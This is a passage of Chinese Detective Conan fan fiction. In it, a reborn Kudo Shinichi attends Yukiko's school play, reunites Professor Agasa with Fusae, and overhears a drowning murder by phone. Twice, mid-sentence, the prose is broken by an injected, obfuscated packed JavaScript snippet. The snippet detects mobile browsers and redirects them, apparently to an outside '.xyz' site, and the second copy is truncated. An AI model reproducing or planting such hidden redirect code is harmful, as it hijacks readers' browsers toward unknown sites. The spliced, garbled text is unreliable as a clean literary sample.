“唔,我好像知道一点又好像不知道呢。”工藤优作讨人厌地吊他胃口。 工藤新一撇嘴:“够了。想让我做什么?有希子姐姐的学园祭吗?” 工藤优作和他单方面击了个掌:“成交。” 优作说到做到,立刻压低嗓音进入“情报模式”:“目前能透露的不多——我最近确实也比较忙……” 忙着来剧组跟有希子约会吗?工藤新一心想。 “佐藤警官给我瞄过坠楼案的现场照。被害人颈部有轻微勒痕,阳台栏杆外侧却只检出她自己的指纹,没有第二者鞋印。警方倾向‘胁迫跳楼’,但没有证据——案发时间是深夜一点,建筑工地周边三公里内都没监控,连路灯都坏了一半,整条街黑得像被墨汁泡过。于是成了无头案。” 新一把胳膊肘抵在躺椅扶手,指尖点着下巴:“人际关系?” “干净得像一张白纸。”优作摇头,“夜店女招待,客人流动性大,手机里除工作群外几乎没有固定联系人。警方排查了最近三个月与她有过交集的熟客、同事、前男友,全都排除作案时间。” “血衣恐吓案呢?” “那案子归搜查一课另一组,我暂时没插手。警视厅现在像被捅了的马蜂窝,谁都不敢松弦。” 他说到这儿,抬腕看表:“就这些。新一,你是不是该去……”该去帮我争取帝丹高中学园祭了? 工藤新一倏地从躺椅弹起,像只蓄满弹力的猫,三步并作两步冲到正收拾化妆包的有希子面前,一把牵住她手腕,拽到工藤优作面前:“我觉得这种事,优作哥你亲自对有希子姐姐说比较好哦,我看好你,加油!” 这倒霉孩子……工藤优作怒目而视。 “怎么了?”藤峰有希子脸色有点发红,“优作先生有什么事吗?” “没,没什么大事,就是,”工藤优作面色不改,忽略掉他一开始的结巴,那就还挺游刃有余的,“你可以邀请我去看你的学园祭表演吗?” “还有我!”工藤新一举起小手。 “当然,”藤峰有希子笑着说,双手摊开放在工藤优作和工藤新一面前,“呐,帝丹高中二年B班藤峰有希子,邀请两位工藤先生莅临在下的话剧表演。” 工藤新一积极地把手放在有希子手上,工藤优作则把她的手翻过来、手背向上,行了个吻手礼——嘴唇没有碰上她白皙的皮肤。 两个人对视着彼此,工藤新一浑身鸡皮疙瘩。 谈吧,我的个亲爹亲妈,谈吧。 23. 迭见 11月22日,周六,工藤优作带着三个小孩一起来到了帝丹高中。 “优作先生也是帝丹高中毕业的吗?”诸伏景光问。 “嗯?不是,”工藤优作拿着志愿者给的学园祭地图和演出节目单,一边查地图一边回答,“这还是我第一次来帝丹高中,多亏了有希子小姐的入场券。” 降谷零和诸伏景光对视一眼,坏笑:“有~希~子~小~姐~?” 工藤新一在一旁帮腔:“有希子姐姐也已经叫他‘优作先生’了哦。” “哦喔。”两个小孩继续耍宝。 “咳咳,嗯,那个,”工藤优作拿地图挡住自己,假装看表,“离她的节目还有一个多小时,你们先去玩吧,早上起得太早我得坐着休息会儿——我在会场等你们。” 明明是去抢位置了,心口不一。工藤新一摇摇头,说:“去会场坐着休息啊,那优作哥就帮我们找个超棒的座位吧!要那种,能清清楚楚看到有希子姐姐的哦。” 工藤优作装没听见,找了个方向就走。 工藤新一大声喊:“走反了!体育馆在足球场后面啊!” “——所以,这个位置视野好?” “那当然,这可是我精挑细选的座位。” “嘶,好热——我们一定要坐在这吗?” “不坐也没办法了……不坐这里,会场里也没有三四个连着的空位了。” “可是这里太偏了吧,还在过道,挤来挤去的,连舞台都看不全,优作先生不是提前一个多小时就过来抢位置了吗?” “呃,这个嘛……”工藤优作解开衬衫最上面的扣子,拿纸质的饮料杯套当扇子,“确实是精挑细选的……哎呀别这么看我,一会儿你们就知道了。” 工藤新一、降谷零、诸伏景光:“噢。” 体育馆的灯光忽然变暗,主持人报幕:“接下来请欣赏,由二年B班带来的话剧表演——《灰小子》。” 是灰姑娘的弟弟吗……工藤新一歪头打了个哈欠。 “传说在很久很久以前,有一个神秘的王国,这个国家没有纷争,非常和平。有一天,这个国家的王女殿下决定举办一场勇士大赛,赢得比赛的勇士将会得到一架纺车!要知道,自从上一代国王的命令,纺车已经在这个国家消失了几十年,因此,全城的小伙子都踊跃地参加,希望能得到那台珍贵的纺车,其中包括灰小子和他的两个哥哥。” 什么啊,这是性转版灰姑娘的故事吗?这个神秘的国家是不是还会出一个睡美人?工藤新一又打了个哈欠。 “……勇士的挑战非常不一般。王女殿下先让他们去森林里打败七个小矮人,再把水晶棺材拿回王国里……” “……第二个任务是对抗遥远城堡里的野兽,拿到他珍藏的玫瑰花……” “……第三个任务是……” 工藤新一一头栽在工藤优作身上睡过去了。 降谷零和诸伏景光咬耳朵:“我怎么觉得这些故事怪怪的,明美以前看的童话书不是这么写的。” “好像是把灰姑娘、睡美人、美女与野兽、白雪公主放一起了……”诸伏景光说,“但是有希子姐姐怎么还没出场啊,新一都睡着了。” 等到“灰小子”在“神仙教父”的帮助下终于完成了王女殿下的五个任务、成功得到了那架纺车后,工藤优作一把拽起趴在他身上的工藤新一:“有希子要出场了!” 工藤新一吓得一激灵,右手下意识打开了手表型麻醉针的表盘,然后藤峰有希子嚣张的邪笑合着观众席铺天盖地的应援声轰炸了他的耳朵。 巨大的纺车里居然有一口棺材,而有希子正从那口棺材里爬出来,刚刚还高高在上的王女殿下向她行礼:“女神大人在上!” 有希子狞笑:“啊哈哈哈哈哈哈哈哈!哈哈哈哈哈哈哈哈!” “有希子!有希子!有希子!有希子!” “啊啊啊啊帝丹公主!!公主大人!” “有希子女神!女神!” “非常荣幸来到你们面前,我亲爱的信徒们。”藤峰有希子画着夸张的烟熏妆,穿着一身邪神的斗篷,手里还拿着一根紫色的权杖,“那些自以为是的勇士还以为得到了王女殿下的恩赐——笑话!他们前赴后继的冒险只是为我集齐了复活的筹码!哈哈哈哈哈哈哈!我的信徒们,你们,准备好迎接我——邪恶女神的回归了吗?” 工藤新一有点呆滞——这、这又是哪个童话故事?看着不大像儿童文学。 观众席非常给她面子,大声欢呼:“恭迎邪恶女神大人!” 藤峰有希子慢慢从舞台旁边走下观众席,黑暗中,聚光灯只打在她的头顶。她像是天生的女主角,在万众瞩目下调动着所有人的情绪。她抬起权杖,指向几个观众:“哦,伊比萨,这么多年过去,你还是这副模样——老了点,不过依然是我最忠诚的朋友。” “这不是菲尔吗?你终于想开,跟从你的王女殿下追随我了?” “哦,还有这位英俊的先生,一个生面孔,”藤峰有希子拿权杖对准一位年轻的先生,笑着说,“你为什么来参加我的集会?” 二年b班负责导演的同学急疯了——这个问题本来应该问一位他们安排好的同学,这、这个带着三个孩子的男人是谁啊?有希子同学怎么又不按剧本来! 工藤优作顺从地起身,微微一俯身:“当然为了女神大人绰约的风姿和高超的法术,我愿放弃一切,成为您最忠实的信徒。” 藤峰有希子“咯咯”笑了起来:“女神会给你这个荣幸,我的信徒。” 工藤新一闭眼装睡,手都尴尬地攥成了拳。 这就是为什么工藤优作选择了这个偏僻但靠近过道的座位——就为了这个和有希子台前互动的机会。 藤峰有希子施施然回到台上,在经历了“灰小子”及各国王子公主的围攻后,终于杀青退场。 “谁给我理一下这个故事的梗概?优作哥?”工藤新一站起来抻了个懒腰。 工藤优作一言以蔽之:“王女殿下想要篡权,于是借勇士挑战为名召唤了邪恶女神,最后王女殿下和女神败在了那些被他们拿来当棋子的勇士和任务目标手上。大概是个讽刺故事。” “是那种‘不知道啊他们喊着什么正义啊善良啊就冲上来了’然后反派就毫无逻辑地死了——的那种讽刺吗?”工藤新一问。 “大概吧。”工藤优作耸肩,“我要去后台,一起吗小朋友们?” 降谷零和诸伏景光正是好奇的年纪,闻言节目也不看了:“好啊好啊!” “那就一起吧。”工藤优作弯下腰,悄悄从会场边上溜进了后台。降谷零和诸伏景光学着他的样子,小小一个缩起来,像两只鼹鼠一样哒哒地跟着他。 藤峰有希子正在后台等着他们。她拉着工藤新一和两个小孩,在体育馆不大的舞台后台转了一圈,又在谢幕之后领着他们在游园会到处赏玩,一路上笑着和所有人打招呼,工藤优作就眼也不眨地看她。 怎么会有这样一个人呢?天真却聪颖,娇蛮却可爱。 一片银杏叶落在有希子肩上,工藤优作情不自禁地上前把它取下,摩挲了一下金黄的叶柄。 她就像这银杏叶一样温暖、一样舒展——但她没有干枯掉落,她更像一朵山茶花或者一束橙色的野百合——馥郁着、盛放着。 他想让她永远盛放着。 有希子笑着回头,正好看见工藤优作捻着银杏叶、看着她发愣。聪明的少女“噗嗤”一笑,手背后走上前。 “呐呐,我可以叫你‘优作君’吗?” 这便是想要关系更进一步了。藤峰有希子就是这样的人,敢于挑战、乐于冒险,永远是那个更勇敢的人。 工藤优作才从沉醉中清醒,把那片银杏叶卡在有希子的马尾辫绳圈处。“我很乐意……有希子ちゃん。”(有希子酱) 秋日的风卷起萧萧而下的黄叶,拂起少女丝丝卷发,把一大朵一大朵的温柔吹进年轻男女的心里。蜿蜒的红线轻轻圈在了年轻男女的指尖。 学园祭结束后,工藤优作送有希子回家。 他没开车来,两个人就慢慢地并肩走着,三个孩子在前面假装身后没人。夕阳垂得很低,像一枚被谁不小心打翻的朱砂印,把整片天空和河面一并染成浓烈的火红。风从水面拂来,带着一点潮湿、一点金粉,吹动有希子耳边的碎发,也吹得优作的衣角微微鼓起。他们并肩而行,影子被拉得老长,在堤岸上交错成一条安静的线。 “——轰!” 一声巨响撕破宁静,像谁在天空里撕开了一道口子。黑烟卷着火星腾起,像一条暴躁的黑龙,把残阳咬得支离破碎。有希子眼睛一亮,优作眉峰微挑,两人几乎同时转身,脚步默契地朝声源奔去。孩子们愣了半秒,立刻像被磁铁吸住的小铁屑,呼啦啦追在后面。只有降谷零惋惜地说了一句:“都惊着这夕阳了。” 河堤下的空地上,一辆自行车歪倒在地,后轮处正冒着滚滚浓烟。车架被炸得扭曲,金属碎片散落一地,像被粗暴拆散的玩具。更惊人的是后轮原本该有辐条的位置,竟被一只粗大的金属圆筒取代——圆筒外壳焦黑,隐约可见内部断裂的导线与炸裂的齿轮,像被强行塞进的微型火箭引擎。此刻引擎还在嘶嘶作响,残余的燃料从裂缝里渗出,滴在地上,发出刺鼻的焦糊味。 浓烟里,一个圆滚滚的身影跌坐在地,乌黑的头发被热浪吹得乱蓬蓬,像被雷劈过的鸟窝。阿笠博士一边咳嗽,一边徒劳地挥手驱散烟雾,眼镜片上糊着一层灰,只剩两只眼睛还在眨巴。 “咳咳……对、对不起……我这就把它拖走……咳咳咳……” 他试着站起来,结果脚下一滑,又噗通坐回去,圆滚滚的肚子把地上的碎金属压得嘎吱响。 工藤新一早在爆炸声响起时就心里一咯噔,此刻拨开烟雾,果然对上那张熟悉的脸——比二十年后年轻许多,眼角还没长出那么多笑纹,头发也还是倔强的黑。 阿笠博士跌坐在地上,嘴里还在解释:“这是我发明的超引擎自行车……嘶——就是可能转轮出了点问题……” 他说话时,后轮残骸里突然又“嗤”地窜出一簇火苗,吓得博士往后一缩,差点滚进旁边的排水沟。有希子“噗嗤”笑出声,工藤优作摇摇头,弯腰捡起一块扭曲的金属片,指腹轻轻摩挲边缘的焦痕。 工藤新一单膝蹲下,手帕在指尖折成一方小小的雪白。他微微前倾,额前的碎发垂下一缕,在夕光里像一抹柔软的影子。动作轻得像怕惊动尘埃,又熟稔得像重复过千百次。帕角掠过阿笠博士的眉骨、鼻梁、嘴角,每一下都带走一点黑渍,留下一点体温。那双澄澈得近乎透明的蓝眼睛低垂着,盛着一泓安静的湖水——湖面下却涌动着潮汐般的惦念。 博士被他突如其来的温柔钉在原地,胖胖的身子僵成一块笨拙的石膏,只剩嘴角还能勉强抽动:“小、小朋友……谢、谢谢你啊。” “没关系。”新一的声音低而稳,像夜里最亮的那颗启明星。他换了个角度,又擦了几下,机油却像顽固的墨点,死死咬住博士的颧骨。少年叹了口气,索性把手帕团成软软的一团,塞进博士肉乎乎的掌心,“自己也要好好爱护自己啊,叔叔。” 那声“叔叔”咬得极轻,却在尾音处微微发颤,像一声被风揉碎的叹息。 旁边,降谷零和诸伏景光已经蹲到报废的自行车旁,眼睛亮得堪比车头灯。金属残骸还在余温里发出细小的“滋滋”声,两个孩子却浑然不顾,指尖几乎要戳进那焦黑的火箭筒。 “这太酷了!”降谷零仰头,声音因为兴奋而拔高,“真的是您自己做的吗,叔叔?” 阿笠博士被两束炽热的崇拜目光烤得耳尖发红,手里还攥着那条被机油染出点点墨梅的手帕,笑得见牙不见眼:“嘿嘿,是啊,这可是我最——最新的发明!” 藤峰有希子蹲下,裙摆掠过地上的碎铁,像一尾红鲤跃出黑暗。她用指尖轻触那扭曲的轮框,眼睛里盛满跃跃欲试的光:“思路很棒!要是真能稳定输出——哇,下坡时简直像在飞!” 她的尾音像烟花一样炸开,把暮色都点亮了几分。 工藤优作站在三步之外,目光却不在发明上,而在这个过分安静的孩子身上。 工藤新一,这个分寸感极强的男孩,他待人接物一向有分寸,怎么会对刚见面的这位先生如此亲近?那种神情就像……就像新一第一次见到工藤优作自己、或者第一次见到有希子的样子。那声“叔叔”里藏着的亲昵,像是跨越了漫长岁月的回声。 再往前追溯——车祸那夜,他对伊斯特伍德一家的态度同样熟稔得令人心惊。没有陌生孩子的瑟缩,也没有初来乍到的试探,倒像久别重逢的故人。 长野警方给出的“失忆”档案,薄得像一张废纸;户籍资料空白得刺眼。一个凭空出现的孩子,却对东京、对这些人,了如指掌。 再深思的话,那个结论就过于匪夷所思了。穿越重生什么的,简直是小说里才会出现的桥段。 河堤上的风把细碎的银杏叶吹得沙沙作响,像有人在耳边悄悄翻书。三个孩子和阿笠博士的话题已经从“火箭自行车”一路滑到了“阳台上有几盆仙人掌”。 “其实,要说最喜欢的植物……”阿笠博士用粗短的食指挠了挠后脑勺,笑得有些不好意思,“果然还是银杏吧。” 他抬眼望向远处那排高大的银杏树,金黄的扇形叶子正一片片旋落,像一场迟到的庆典。“后天,我还有一个跟银杏有关的约定呢。” “后天?”工藤新一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137900|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眨眼,“今天是十一月二十二号吧?” 降谷零说:“那后天就是十一月二十四日。” 得想个办法让阿笠博士等到步纱绘阿姨。工藤新一心想。 “博士——”新一立刻切换成软糯的童音,尾音像棉花糖一样拉长,“你家里还有别的发明吗?我……我真的好崇拜您!可以让我看看吗?” 他双手合十贴在颊边,眼睛睁得又大又亮,像两枚打磨过的蓝宝石。 降谷零和诸伏景光虽然没出声,却也同步地仰起头,四只眼睛在黑夜里闪着同款星光。 阿笠博士被三束探照灯似的目光烤得通体发热,胖胖的身子晃了晃,嘴角的弧度几乎要咧到耳根:“当、当然可以!我家虽然乱了点儿,但好玩的东西可多着呢!” “孩子们冒犯了。”一道低沉温和的男声适时插入。工藤优作上前半步,微微颔首,语调里带着恰到好处的歉意,“实在不好意思,阿笠先生,他们一遇到感兴趣的事就容易忘形。” 阿笠博士已经站起身了,他明明年纪也还不大,说话却透着一股子慈祥:“哪里哪里,我最喜欢和小孩子打交道了。如果您不介意,可以一同到我家来做客。”他显然是把工藤优作和藤峰有希子当做孩子们的家长了。 当然,藤峰有希子还穿着校服,自然不会是这几个孩子的母亲,可能……是姐姐?阿笠博士这样想着。 黄昏像一层柔软的幕布,悄悄把米花町罩进怀里,照得柏油路面泛着青灰色的微光,像一条刚被潮水退去的河。阿笠博士家孤零零地立在路口,外墙的奶黄色涂料在月光下显出一种安静的旧——它还没有被二十年后那些霓虹与喧嚣包围,也没有隔壁那栋日后会住进一家姓“工藤”的屋子。此刻,它只是一个胖发明家的城堡,是三个孩子眼里的藏宝洞。 大门“咔哒”一声合上,玄关的灯泡晃了晃,像瞌睡人的眼。工藤新一踩进室内,空气中浮着淡淡的机油味,还有一丝甜腻的速溶可可香——那是阿笠博士为了“招待小客人”临时冲的,却因为太烫被搁在桌角,正袅袅冒热气。 “来来来,别客气!”博士顺手从地上捞起一只弹簧,“这些都是我的宝贝。你们随便看,别扎到手就行。” 工藤新一乖巧地点头,眼睛却在灯光与阴影的缝隙里迅速搜寻——他记得二十年后,那封藏在工具柜里的密码信,是博士与步纱绘之间最后的暗号。此刻的工具柜还没有被岁月磨花,柜门锁孔里甚至带着崭新的铜光。他蹲下去,指腹沿着抽屉边缘一寸寸滑过,像在弹一支无声的钢琴曲。 降谷零与诸伏景光被一台半成品的“自动爆米花机”吸走注意力,机器正嗡嗡旋转,金色玉米粒在透明罩里跳舞;优作则倚在门框,双手环胸,目光看似随意,却将工藤新一每一个小动作都收进眼底。 咔哒—— 第三格抽屉底部,一块松动的底板被悄悄掀起。信纸比记忆中更洁白,折痕也浅,像一朵还没来得及绽放就被人摘下的山茶。新一用指尖拈起,呼吸放轻,仿佛怕惊动纸面沉睡的墨香。 “博士!这是什么啊!” 他回头,声音低却亮,像深夜划过的火柴。 十分钟后,工藤优作解开了谜底。 阿笠博士瞪大眼睛:“真的吗?” 工藤优作扶了扶眼镜:“如果我的假设和孩子们的想法没出错,应该是这样的。如果您没有什么思路,可以去试一试。” “嘛,总之——”工藤新一踮起脚,啪地一拍博士的大腿,声音脆生生的,带着怂恿的笑意,“总比没有思路的博士靠猜测得出的结论靠谱吧?” 阿笠博士被拍得往前小半步,却一点也不恼。他低头,看见男孩抬起的脸上,那双蓝眼睛盛满促狭与期待,像两颗被星子点亮的玻璃珠。博士忽然咧开嘴,厚实的掌心落在少年发顶,揉了揉,又顺势滑到肩膀,轻轻一拍。 “也是啊。” 两天后的银杏树下,已经等了二十年的两位约定者终于得以相见。他们没有拥抱、没有流泪、没有任何逾矩的行为。他们只是笑笑,站着看了一会儿夕阳。 至少以后不会再十年一面了。 工藤新一又来到了剧组。 他的戏份早就在一周前结束了,只不过藤峰有希子的生日快到了,他收到工藤优作的指使,最近都来剧组探查有希子的喜好、顺便帮工藤优作瞒住生日惊喜的消息。 藤峰有希子刚下戏,卸掉威亚感觉浑身都舒坦了。她舒舒服服地窝在自己的休息室里,工藤新一就坐在旁边看侦探小说。 “真是的,今天泽田先生不在,感觉化妆慢了好多,”藤峰有希子碎碎念,“毫无征兆地就请假了,搞得我一点都不敢碰自己的脸,就害怕补妆麻烦——吊威亚的时候难受死了!” 工藤新一不语。 “……嗯?新一怎么也不和我说话的,你来剧组不是为了我吗?”藤峰有希子吸了一大口冰水,“我可以告诉新一我最想要什么哦。” 这个女人,哪怕才不到十九岁,也还是这么敏锐啊。工藤新一合上书,耳边响起工藤优作给他的利诱。 “新一大人!只要你愿意替我询问有希子的生日愿望,我可以承包你接下来一年的推理小说!”工藤优作如是说。 工藤新一叹了口气。 “那有希子姐姐喜欢什么?”他问。 藤峰有希子一只手绕着自己的头发,另一只手伸出食指抵住自己的下巴:“那个啊……暂时还不知道呢。” 那你刚刚在干嘛啊。工藤新一石化。 “诶?是不是有电话铃声?”藤峰有希子忽然说。仔细听的话,的确有清脆急促的座机铃声的声音。工藤新一侧耳听了片刻,道:“应该是隔壁办公室里对外的那部座机,大概是某些粉丝或者记者打来的吧。” 电话铃声一直响到自动断线,隔了没两秒,就又响起来。 “隔壁好像没有人接,”藤峰有希子坐起身,“走,新一,我们去看看。” 走到隔壁办公室,藤峰有希子拿起电话:“喂?您好,请问——” 电话那头传来一阵电流的滋滋声,随后是有些失真的衣物摩擦声和喘息。工藤新一眼角微眯,从有希子手里一把夺过了电话。 一个年轻男人的哀嚎声、水声、沉闷的钢铁撞击声……直到水花四溅的声响不再,人的声音也听不到了。 另一个人的笑声反而响起。一边笑,一边啜泣,整个的调子起起伏伏,情绪十分不稳定。 “这是……怎么了?哪部电影的录像带吗?”藤峰有希子说。 不。工藤新一神情肃穆,掏出手机,报警。 这是死亡录音,水刑的全过程。至于被害人,听声音,正是今天临时请假的那位新锐化妆师,泽田和也。 24. 杂出 森村警部补、目暮十三等一课刑警马上赶来了剧组,因为报案人是小孩子和一位未成年女性,还紧急抽调了一位交通科的女警随行。 出了这种事,村下导演无法,已经让整个剧组停工。此时,导演、化妆室的其他化妆师、对外联络人员以及工藤优作都坐在了那个接到死亡电话的“对外办公室”里。藤峰有希子坐在沙发上,左手搂着一个正在细细回忆和推理的工藤新一,右手悄悄拽着工藤优作的西装衣角。 工作人员把警官们引导到办公室里,村下导演亲自迎接:“几位警官里面请。” “谢谢。”森村警官大步迈进屋子里,开门见山:“报警的是哪位?” 工藤新一拍拍有希子的手,跳下沙发:“是我,警官先生。” “我和这孩子一起接到了那通电话。”藤峰有希子也站起身。她以前从未遇见过这种事,一时间有点吓到了,说话的声音都比往常要小一点:“但是一开始我们谁都没反应过来,只录下了那通电话的后半段。” 森村警官眉眼有些凶神恶煞,待人却是十分温和:“我们一点一点说。先坐吧,这位小姐和小朋友。”随后他又看向一旁的工藤优作:“工藤先生也是当事人?” “我倒不是,森村警部,”工藤优作微微颔首,算是打了个招呼,“只是恰好离得不远,听说出事了就过来看看。”至于为了谁,自然不言而喻。 简单地寒暄几句,警官们就开始了询问和取证工作。 森村警官:“两位简单说一下自己的身份吧,以及接到电话时的具体情形。小朋友先来?” “嗯。我叫工藤新一,是杯户小学四年级的学生,周末在剧组里跑了个龙套。我的戏份已经拍完了,今天放学后来剧组是来找有希子姐姐的。”他显然相当熟悉警方办案的模式,三言两语就说清了自己的身份和出现在现场的理由,“电话应该是晚上5点27分左右响的,当时我和有希子姐姐都在隔壁她的休息室里。电话一共响了两次,第一次响的时候一直没人接,就一直响到了自动挂断;紧接着就响了第二次,我和有希子姐姐以为是粉丝或者工作来电,看隔壁好像没有人,担心有重要的事情就一起来了这个办公室。” “屋里确实没人,我就先接了电话,后来感觉对面的声音不对劲才和新一一起听。”藤峰有希子接着他的话说,“然后新一按了录音,我们听出来那个挣扎的声音好像是泽田先生。到最后有个诡异的笑声,笑到一半时对面挂断了,之后我们就马上跟剧组说了这件事、报了警。” 负责记录的目暮十三问道:“请问您是?” “哦,我叫藤峰有希子,帝丹高中二年级,也是一位女演员,在这部电影里饰演女主角。电话打来的时候我刚好结束上一场拍摄,和新一在我的休息室里休息。”她补充道。 在场几个人也纷纷介绍了自己的身份。森村警官问办公室负责人:“这个电话号码都有谁知道?” 负责人挠挠头:“我们在网上公布过,所以……” 那就是谁都能知道了。 “那么,我们先听一下录下的那半段电话内容吧,之后你们再详细说一下没录到的部分。两位证人和工藤先生留下,其余人就请先出去吧,小西君,你们做一下他们的笔录。化妆室也不要留人。”森村说。 几个随行的巡查领命而去。待到屋里只剩下这几个人时,森村警部补站起身:“最近真是多事之秋,已经出了三起命案,现在看来是要再多一个啊——真是想不通,世上怎么会有这么多枉顾他人性命的人。” 三起?工藤新一和工藤优作同时注意到这个数字。除了坠楼案和血衣案,最近还出了什么未破解的命案吗? “嘛,先听一下录音吧。”他戴好手套,按下播放键。 录音从伴着挣扎的氺声开始。被害人也许被堵了嘴,没有说出任何有价值的信息,整个头面部大概被凶手按进了某个类似水池的地方,仔细听的话还能听见躯体撞击钢铁物品发出的沉闷响声。仅听录音里有些失真的声音,凶手把被害人反复按进水里三次,每次抬起都能听见他喉咙里发出的嘶哑肺音,凶手却始终一言不发。最后一次,凶手没了玩弄“猎物”的心思,直到虚弱的被害人挣扎程度趋近于无,才听见躯体倒地的巨大声响,伴随着一个男人清晰的、神经质的笑声——被害人的声音则是再也听不见了。 录音在男人的笑声中结束。 “这个时候电话就挂断了。”工藤新一说。 “嗯……”森村警官沉吟片刻,又重新听了一遍,才对工藤新一和藤峰有希子点点头:“说一下前面的内容吧。” 藤峰有希子思索道:“刚开始好像有风声,然后是一点点电流声,再后来就是后半程听过的氺声和撞击声了。” “电流声像是录音笔的声音,还有一点回声。”工藤新一补充。 “你能确定吗?”森村警官严肃道。 “百分之七十的准确性。”工藤新一估计道。毕竟最开始接电话的人不是他,听得稍稍没有那么清晰。 “你们能确定听到的是泽田和也的声音吗?” “能。”工藤新一斩钉截铁地说。 “我们这边也一直没联系上泽田先生。”工藤优作补充。 “我们去看看化妆间吧。”森村警官说。 其他巡查还在对化妆师们问话,藤峰有希子就担当了引导人员,把森村警官和目暮十三带到泽田和也的工作间。 他的工位很整洁,瓶瓶罐罐都放在严丝合缝的收纳盒里,化妆镜擦得一尘不染,椅子也收进了桌肚里。化妆桌上没有私人物品和一些贵重物品,这些东西应该是泽田和也随身携带的。整个工位呈现出一种一丝不苟的严谨,倒是和一向呈现出温和风趣的泽田和也有些违和。 对外和对内的性格不同吧。工藤新一心想。 警官们没有在工位处找到有关凶手或仇家等的信息。这时,目暮十三接了个电话,对森村警官说:“警部补,泽田和也家里没人,座机没人接,移动电话处于关机状态。” “报告!刚刚信息组那边给了报告,那通电话是从北郊的某个电话亭打来的,我们已经请附近的同事去查了。” “好。”森村警官点点头,大拇指摩挲了几下,叹了口气,“看来这位泽田先生怕是……” 房间里一时沉闷下来。 搜证工作和询问工作已经完成,现在尚没有实际证据证明泽田和也已经遇害,森村警官只好收队,带藤峰有希子和工藤新一回警视厅做正式笔录。 诸伏加奈作为监护人,已经在警视厅等着了。难为这位自由撰稿人,自从遇见工藤新一,她来到警局的次数呈指数级上升。 谁叫他们家的小新一是个优秀的侦探呢?那些罪恶总是逃不过他的眼睛,黑暗总会想侵染光明。 夜色昏暗,月色朗朗。如水的月光下,警车在警视厅大门口停下。后门打开,工藤优作和藤峰有希子一左一右先后下车。藤峰有希子不认得诸伏加奈,也就没有打招呼,回身弯下腰把工藤新一半抱下来,又惹得工藤新一一阵脸热。 诸伏加奈有些恍惚——她总有种奇异的感觉,从遇见工藤优作那天持续至今,现在见到藤峰有希子,这种感觉更强烈了些。 那个姑娘没有化妆,半长发卷卷地垂在肩头,笑起来眉眼弯弯,皎皎的面貌似曾相识。她拉着工藤新一,和工藤优作一起走过来。明明年纪、逻辑都对不上,可他们周身却有着一种说不出的和谐美好……像是一家人。 如果是真的就好了。诸伏加奈迎上去。她的眼力一向很好,如果他们真的是新一的父母,新一应该会很幸福。 作为新一的养母,她一直知道他只当他们是亲近的长辈,可以撒娇卖乖、互相关爱,却没有当他们是真正意义上的父母。 新一有自己的父母,他可能根本没有失忆。他们一直都知道。原生家庭对人的影响尚且持续一生,陪伴童年的亲生父母怎能轻易割舍?所以诸伏夫妇一直没有对新一称呼他们叔叔阿姨有过意见,他们清楚这孩子有秘密,尊重他的选择。 甚至他们很庆幸:新一选择封存“父母”这一称呼,很有可能是因为他的父母很爱他,他也很爱他们,因此不会把这两个神圣的称呼再给出去一次。这孩子身上那么多伤、又有心理阴影,如果有一对足以温暖回忆的父母,实在是难得的慰藉。 他们不想取代他的“父母”,一个称呼而已,只要真心相待就没有关系。幸运的是,他们确实以真心换真心。 “工藤先生。”诸伏加奈走过来,朝工藤优作点点头,又看向藤峰有希子,“这位小姐是?” “我是藤峰有希子,你好。”有希子朝诸伏加奈伸出手,“您是新一的妈妈吗?” 诸伏加奈愣了一下,点点头:“幸会,我叫诸伏加奈。” 太像了。她和新一,简直太像了。 也许是她先入为主,如果把藤峰有希子和工藤优作做个合并……她简直想不出还有谁更像是新一的亲生父母了。 可工藤先生才二十出头,这位藤峰小姐似乎还在上高中,无论如何都不可能啊。 “我们先进去吧。”工藤优作说,“外面冷。”他看着有希子单薄的外衣。 笔录过程泛善可陈。待到快结束时,又有消息传来:警方找到了那个电话亭,在里面发现了一根粗糙的麻绳和一大块麻布。鉴识人员已经送去检验DNA了。 只是现在技术限制,这个过程会比较漫长。 “看来今天又不用回家了。”森村警官对正在哀嚎的同事们说,“实在家里离不开的跟我报告,明天早点过来。其余的去买点咖啡,休整一下再战,我请。现在大概会有四桩命案没能告破,我们不能松懈!我们的存在就是为了安死者之心,樱花看着我们!这段时间辛苦大家,回头破案了,肯定给诸位补偿!” “是!” 工藤优作看着办公室里重新振奋起来的警员们,没发现老熟人佐藤正义和松本清长,随口问了一句。森村说:“佐藤君去查血衣案了,你应该也听说这个案子了。至于松本君,他在查另一桩命案——准确来说是两案,连环杀人——虽然社会影响没那么大,但也很难推进——我其实也是负责那个案子的,只是今天实在缺人手,才两头忙——连小田切警部都在忙着那两个案子抽不开身。我看再忙下去,早晚要借调其他部门的同事。” 工藤新一路过听了一耳朵,看看电子屏上的“11月26日”,算了算。 难道是那个横亘二十年,让森村警部补殉职、给松本清长左眼上留下一道伤疤的案子吗? 第三天,11月28日,周五。 一大早,工藤新一就被工藤优作的电话吵醒。他似乎一早去了警局,主动提出帮助警方破案。鉴于他确实也是警视厅的常客,近两年大大小小的案子帮了不少忙,又正值警视厅缺人,时任搜查一课三系警部的小田切敏郎大手一挥,同意了他参与调查的申请。 用脚趾头想都知道这个志不在侦探的小说家是为了什么:泽田和也案毕竟关系到了有希子。 “所以呢?有什么进展?”工藤新一站在矮凳上刷牙,诸伏景光在一旁睡眼惺忪地擦着脸。 “警方查到了泽田先生的通话记录,26日早上七点十三分,有一通手机号码给他打了电话,大概两分钟。随后七点十六分,他给剧组打电话临时请了假。” “时间很紧啊,”工藤新一嘟囔着说,“看来泽田先生对那通未知来电很重视。” “但那是个不记名空号。”工藤优作耸肩。 “猜到啦。”工藤新一扁扁嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 